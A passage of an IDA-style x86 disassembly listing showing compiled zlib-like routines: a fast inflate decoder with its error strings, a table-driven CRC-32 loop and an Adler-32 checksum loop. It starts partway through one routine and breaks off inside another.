var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 48h
mov eax, [ebp+arg_14]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov eax, [edx+4]
mov [ebp+var_34], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+20h]
mov [ebp+var_10], edx
mov eax, [ebp+arg_10]
mov ecx, [eax+1Ch]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_10]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_40CEA4
mov eax, [ebp+arg_10]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_38], ecx
jmp short loc_40CEB0
; ---------------------------------------------------------------------------
loc_40CEA4: ; CODE XREF: sub_40CE56+3Bj
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_38], eax
loc_40CEB0: ; CODE XREF: sub_40CE56+4Cj
mov ecx, [ebp+var_38]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_4132F8[edx*4]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_4]
mov edx, dword_4132F8[ecx*4]
mov [ebp+var_30], edx
loc_40CED0: ; CODE XREF: sub_40CE56+AFj
; sub_40CE56+639j
cmp [ebp+var_28], 14h
jnb short loc_40CF07
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_40CED0
; ---------------------------------------------------------------------------
loc_40CF07: ; CODE XREF: sub_40CE56+7Ej
mov eax, [ebp+var_10]
and eax, [ebp+var_24]
mov ecx, [ebp+arg_8]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
cmp [ebp+var_20], 0
jnz short loc_40CF6A
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_40D482
; ---------------------------------------------------------------------------
loc_40CF6A: ; CODE XREF: sub_40CE56+CEj
; sub_40CE56:loc_40D47Dj
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_40D2A9
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_10]
and eax, dword_4132F8[edx*4]
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_10], eax
mov ecx, [ebp+var_28]
sub ecx, [ebp+var_20]
mov [ebp+var_28], ecx
loc_40CFCF: ; CODE XREF: sub_40CE56+1B0j
cmp [ebp+var_28], 0Fh
jnb short loc_40D008
mov edx, [ebp+var_34]
sub edx, 1
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_40CFCF
; ---------------------------------------------------------------------------
loc_40D008: ; CODE XREF: sub_40CE56+17Dj
mov eax, [ebp+var_10]
and eax, [ebp+var_30]
mov ecx, [ebp+arg_C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
loc_40D021: ; CODE XREF: sub_40CE56:loc_40D29Fj
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_40D1BD
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
loc_40D05A: ; CODE XREF: sub_40CE56+23Bj
mov edx, [ebp+var_28]
cmp edx, [ebp+var_20]
jnb short loc_40D093
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_40D05A
; ---------------------------------------------------------------------------
loc_40D093: ; CODE XREF: sub_40CE56+20Aj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_10]
and ecx, dword_4132F8[eax*4]
mov edx, [ebp+var_1C]
mov eax, [edx+4]
add eax, ecx
mov [ebp+var_18], eax
mov edx, [ebp+var_10]
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_20]
mov [ebp+var_28], eax
mov ecx, [ebp+var_2C]
sub ecx, [ebp+var_14]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
sub eax, [edx+28h]
cmp eax, [ebp+var_18]
jb short loc_40D12B
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_18]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
jmp short loc_40D18D
; ---------------------------------------------------------------------------
loc_40D12B: ; CODE XREF: sub_40CE56+27Ej
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
sub eax, [edx+28h]
mov ecx, [ebp+var_18]
sub ecx, eax
mov [ebp+var_20], ecx
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_20]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_20]
jbe short loc_40D18D
mov edx, [ebp+var_14]
sub edx, [ebp+var_20]
mov [ebp+var_14], edx
loc_40D159: ; CODE XREF: sub_40CE56+32Cj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 0
jnz short loc_40D159
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
mov [ebp+var_C], ecx
loc_40D18D: ; CODE XREF: sub_40CE56+2D3j
; sub_40CE56+2F8j ...
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_40D18D
jmp loc_40D2A4
; ---------------------------------------------------------------------------
loc_40D1BD: ; CODE XREF: sub_40CE56+1F5j
mov edx, [ebp+var_20]
and edx, 40h
test edx, edx
jnz short loc_40D1FB
mov eax, [ebp+var_1C]
mov ecx, [eax+4]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
mov edx, [ebp+var_10]
and edx, dword_4132F8[ecx*4]
mov eax, [ebp+var_1C]
lea ecx, [eax+edx*8]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp loc_40D29F
; ---------------------------------------------------------------------------
loc_40D1FB: ; CODE XREF: sub_40CE56+36Fj
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_40D227
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_3C], edx
jmp short loc_40D22D
; ---------------------------------------------------------------------------
loc_40D227: ; CODE XREF: sub_40CE56+3C4j
mov eax, [ebp+var_14]
mov [ebp+var_3C], eax
loc_40D22D: ; CODE XREF: sub_40CE56+3CFj
mov ecx, [ebp+var_3C]
mov [ebp+var_14], ecx
mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_40D527
; ---------------------------------------------------------------------------
loc_40D29F: ; CODE XREF: sub_40CE56+3A0j
jmp loc_40D021
; ---------------------------------------------------------------------------
loc_40D2A4: ; CODE XREF: sub_40CE56+362j
jmp loc_40D482
; ---------------------------------------------------------------------------
loc_40D2A9: ; CODE XREF: sub_40CE56+13Ej
mov eax, [ebp+var_20]
and eax, 40h
test eax, eax
jnz short loc_40D331
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
lea ecx, [eax+edx*8]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_10]
and eax, dword_4132F8[edx*4]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
cmp [ebp+var_20], 0
jnz short loc_40D32C
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_40D482
; ---------------------------------------------------------------------------
loc_40D32C: ; CODE XREF: sub_40CE56+490j
jmp loc_40D47D
; ---------------------------------------------------------------------------
loc_40D331: ; CODE XREF: sub_40CE56+45Bj
mov edx, [ebp+var_20]
and edx, 20h
test edx, edx
jz loc_40D3D9
mov eax, [ebp+arg_14]
mov ecx, [eax+4]
sub ecx, [ebp+var_34]
mov [ebp+var_14], ecx
mov edx, [ebp+var_28]
shr edx, 3
cmp edx, [ebp+var_14]
jnb short loc_40D361
mov eax, [ebp+var_28]
shr eax, 3
mov [ebp+var_40], eax
jmp short loc_40D367
; ---------------------------------------------------------------------------
loc_40D361: ; CODE XREF: sub_40CE56+4FEj
mov ecx, [ebp+var_14]
mov [ebp+var_40], ecx
loc_40D367: ; CODE XREF: sub_40CE56+509j
mov edx, [ebp+var_40]
mov [ebp+var_14], edx
mov eax, [ebp+var_34]
add eax, [ebp+var_14]
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
sub ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
shl edx, 3
mov eax, [ebp+var_28]
sub eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_10]
mov [ecx+20h], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_34]
mov [edx+4], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_14]
mov [edx+8], ecx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov eax, 1
jmp loc_40D527
; ---------------------------------------------------------------------------
loc_40D3D9: ; CODE XREF: sub_40CE56+4E3j
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_40D405
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_44], edx
jmp short loc_40D40B
; ---------------------------------------------------------------------------
loc_40D405: ; CODE XREF: sub_40CE56+5A2j
mov eax, [ebp+var_14]
mov [ebp+var_44], eax
loc_40D40B: ; CODE XREF: sub_40CE56+5ADj
mov ecx, [ebp+var_44]
mov [ebp+var_14], ecx
mov edx, [ebp+var_34]
add edx, [ebp+var_14]
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
sub eax, [ebp+var_14]
mov [ebp+var_4], eax
mov ecx, [ebp+var_14]
shl ecx, 3
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_10]
mov [eax+20h], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_28]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_34]
mov [ecx+4], edx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_14]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_14]
mov [ecx+8], eax
mov edx, [ebp+arg_14]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, 0FFFFFFFDh
jmp loc_40D527
; ---------------------------------------------------------------------------
loc_40D47D: ; CODE XREF: sub_40CE56:loc_40D32Cj
jmp loc_40CF6A
; ---------------------------------------------------------------------------
loc_40D482: ; CODE XREF: sub_40CE56+10Fj
; sub_40CE56:loc_40D2A4j ...
cmp [ebp+var_2C], 102h
jb short loc_40D495
cmp [ebp+var_34], 0Ah
jnb loc_40CED0
loc_40D495: ; CODE XREF: sub_40CE56+633j
mov eax, [ebp+arg_14]
mov ecx, [eax+4]
sub ecx, [ebp+var_34]
mov [ebp+var_14], ecx
mov edx, [ebp+var_28]
shr edx, 3
cmp edx, [ebp+var_14]
jnb short loc_40D4B7
mov eax, [ebp+var_28]
shr eax, 3
mov [ebp+var_48], eax
jmp short loc_40D4BD
; ---------------------------------------------------------------------------
loc_40D4B7: ; CODE XREF: sub_40CE56+654j
mov ecx, [ebp+var_14]
mov [ebp+var_48], ecx
loc_40D4BD: ; CODE XREF: sub_40CE56+65Fj
mov edx, [ebp+var_48]
mov [ebp+var_14], edx
mov eax, [ebp+var_34]
add eax, [ebp+var_14]
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
sub ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
shl edx, 3
mov eax, [ebp+var_28]
sub eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_10]
mov [ecx+20h], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_14]
mov eax, [ebp+var_34]
mov [edx+4], eax
mov ecx, [ebp+arg_14]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_14]
mov [edx+8], ecx
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx+34h], eax
xor eax, eax
loc_40D527: ; CODE XREF: sub_40CE56+444j
; sub_40CE56+57Ej ...
mov esp, ebp
pop ebp
retn
sub_40CE56 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, offset dword_4146A4
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D535 proc near ; CODE XREF: sub_40F872+1D4p
; sub_40F872+29Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_40D545
xor eax, eax
jmp loc_40D70E
; ---------------------------------------------------------------------------
loc_40D545: ; CODE XREF: sub_40D535+7j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
loc_40D54E: ; CODE XREF: sub_40D535+18Cj
cmp [ebp+arg_8], 8
jb loc_40D6C6
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4146A4[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov [ebp+arg_8], ecx
jmp loc_40D54E
; ---------------------------------------------------------------------------
loc_40D6C6: ; CODE XREF: sub_40D535+1Dj
cmp [ebp+arg_8], 0
jz short loc_40D708
loc_40D6CC: ; CODE XREF: sub_40D535+1D1j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
xor ecx, eax
and ecx, 0FFh
mov edx, [ebp+arg_0]
shr edx, 8
mov eax, dword_4146A4[ecx*4]
xor eax, edx
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
cmp [ebp+arg_8], 0
jnz short loc_40D6CC
loc_40D708: ; CODE XREF: sub_40D535+195j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
loc_40D70E: ; CODE XREF: sub_40D535+Bj
pop ebp
retn
sub_40D535 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D710 proc near ; DATA XREF: sub_40DAB5+133o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
and eax, 0FFFFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
shr ecx, 10h
and ecx, 0FFFFh
mov [ebp+var_8], ecx
cmp [ebp+arg_4], 0
jnz short loc_40D740
mov eax, 1
jmp loc_40D983
; ---------------------------------------------------------------------------
loc_40D740: ; CODE XREF: sub_40D710+24j
; sub_40D710+265j
cmp [ebp+arg_8], 0
jbe loc_40D97A
cmp [ebp+arg_8], 15B0h
jnb short loc_40D75B
mov edx, [ebp+arg_8]
mov [ebp+var_10], edx
jmp short loc_40D762
; ---------------------------------------------------------------------------
loc_40D75B: ; CODE XREF: sub_40D710+41j
mov [ebp+var_10], 15B0h
loc_40D762: ; CODE XREF: sub_40D710+49j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_8]
sub ecx, [ebp+var_C]
mov [ebp+arg_8], ecx
loc_40D771: ; CODE XREF: sub_40D710+20Cj
cmp [ebp+var_C], 10h
jl loc_40D921
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+3]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+4]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+5]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+6]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+7]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+8]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+9]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Ah]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Bh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Ch]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Dh]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Eh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+0Fh]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
add eax, 10h
mov [ebp+arg_4], eax
mov ecx, [ebp+var_C]
sub ecx, 10h
mov [ebp+var_C], ecx
jmp loc_40D771
; ---------------------------------------------------------------------------
loc_40D921: ; CODE XREF: sub_40D710+65j
cmp [ebp+var_C], 0
jz short loc_40D957
loc_40D927: ; CODE XREF: sub_40D710+245j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jnz short loc_40D927
loc_40D957: ; CODE XREF: sub_40D710+215j
mov eax, [ebp+var_4]
